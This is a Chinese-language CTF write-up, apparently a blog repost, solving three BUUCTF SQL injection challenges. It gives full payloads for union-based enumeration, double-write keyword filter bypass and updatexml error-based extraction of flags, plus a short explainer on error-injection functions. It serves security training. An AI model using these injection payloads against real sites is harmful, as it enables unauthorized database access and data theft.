当前位置: 首页 > article >正文

BUUCTF Web

[极客大挑战 2019]LoveSQL

union注入

是sql注入类型

输入1' 发现不是数字型注入,那就是字符型注入。判断字段数,输入order by 4 #发现错误,就存在三个字段数

判断回显点:1' union select 1,2,3 #

判断回显点为2,3

判断数据库名 union select 1,2,database()

使用联合注入判断数据库名为geek

判断表名union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'

为两个geekuser,l0ve1ysq1,在l0ve1ysq1中可能存在flag

查找字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'

发现表里存在3个字段id,username,password

根据字段查信息 1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1 #

发现flag

[极客大挑战 2019]BabySQL

(联合注入)

输入万能密码,发现错误

尝试SQL注入,发现or和by被过滤

试试联合注入,

1' union select 1,2 #

发现union select被过滤,我们尝试双写绕过,

1' ununionion seleselectct 1,2 #

显示所使用的select语句具有不同的列数,我们增加一列

1' ununionion seleselectct 1,2,3 #

回显了2和3,我们尝试database()和version()

知道了数据库为geek,版本为10.3.18-MariaDB

获取所有数据库

1' ununionion seleselectct 1,2,group_concat(schema_name) from information_schema.schemata #

关键信息被绕过,我们双写绕过from information获取到所有数据库名为mysql,test,geek,ctf,猜测在ctf中最有可能存在flag

我们获取ctf数据库中的表名

1' ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' #

发现表名为Flag,我们获取表中的字段

1' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' #

获取表中字段名为flag,获取其中数据

1' ununionion seleselectct 1,2,group_concat(flag) frfromom ctf.Flag #

ctf.Flag意思就是ctf数据库里面的Flag数据表

[强网杯 2019]随便注

跟上一篇攻防世界题一样。

[极客大挑战 2019]HardSQL

我们输入1'

所以是单引号的字符型注入

这道题就是报错注入,并且and和空格都被过滤了

尝试爆数据库名:1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

所以数据库名为geek

爆表名: 1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

表名为H4Dsq1

爆字段名:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
爆数据:1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

出来了前半段flag,还有后半段

1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#

拼接起来就好。

空格被过滤可以使用/**/或者()绕过

报错注入

在SQL注入的报错注入中,常用函数如下:

1. floor()

 功能:它是一个数学函数,用于返回小于或等于一个给定数字的最大整数。在报错注入中,通过巧妙构造可以使它产生报错,从而获取数据。
 示例: select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x; 

2. extractvalue()

 功能:这个函数用于从XML文档中提取值,在报错注入场景下,若构造的参数不符合XML格式要求,就会触发错误,利用此错误来显示想要的数据。
 示例: and extractvalue(1,concat(0x7e,(select user()),0x7e)); 

3. updatexml() 

功能:用于更新XML文档中的值。和extractvalue()类似,当参数构造不当时会报错,通过错误信息来获取数据。

 示例: and updatexml(1,concat(0x7e,(select database()),0x7e),1);

在SQL注入中, 0x7e 是十六进制表示形式。在ASCII码中, 0x7e 对应的字符是 ~ (波浪号)。
 
在使用函数如 extractvalue() 和 updatexml() 进行报错注入时, 0x7e 常被用于连接( concat )查询到的数据,是为了更方便地在报错信息中定位和识别出想要获取的数据内容,因为它是一个比较特殊的标记符号。例如 and extractvalue(1,concat(0x7e,(select user()),0x7e)); ,当执行这个SQL语句发生错误时,查询出来的 user() 的值就会夹在两个 ~ 之间显示在报错信息里。


http://www.kler.cn/a/508611.html

相关文章:

  • pandoc + wkhtmltox 批量转换Markdown文件为PDF文件
  • 服务器迁移MySQL
  • 44.ComboBox的数据绑定 C#例子 WPF例子
  • 语义检索效果差?深度学习rerank VS 统计rerank选哪个
  • QT开发技术 【基于TinyXml2的对类进行序列化和反序列化】一
  • 若依分页插件失效问题
  • 哪些新兴技术对智能驾驶汽车影响最大?
  • Neo4j与Python交互
  • FFMpeg的一些常用命令
  • 一探究竟:如何高效提取ULL中的当前参数,实现性能与精度的完美平衡
  • 矩阵碰一碰发视频源码技术开发全解析,支持OEM
  • 【9.1】Golang后端开发系列--Gin快速入门指南
  • 机器学习(3):逻辑回归
  • CAP:Serverless + AI 让应用开发更简单
  • 分频器code
  • Java-数据结构-二叉树(配图详解)
  • SQL Server 导入Excel数据
  • 【Gossip 协议】Golang的实现库Memberlist 库简介
  • 深度学习项目--基于LSTM的火灾预测研究(pytorch实现)
  • 下定决心不去读研了。。。
  • Vue3组件通信进阶: 大型项目中Provide/Inject与EventBus的实战应用
  • Python基本概念与实践
  • 非安全函数
  • 华为OD机试E卷 ---最大值
  • Arm 计划涨价高达 300%,并考虑自行研发芯片
  • HTTP 与 SSH 在 Git 中的区别与选择指南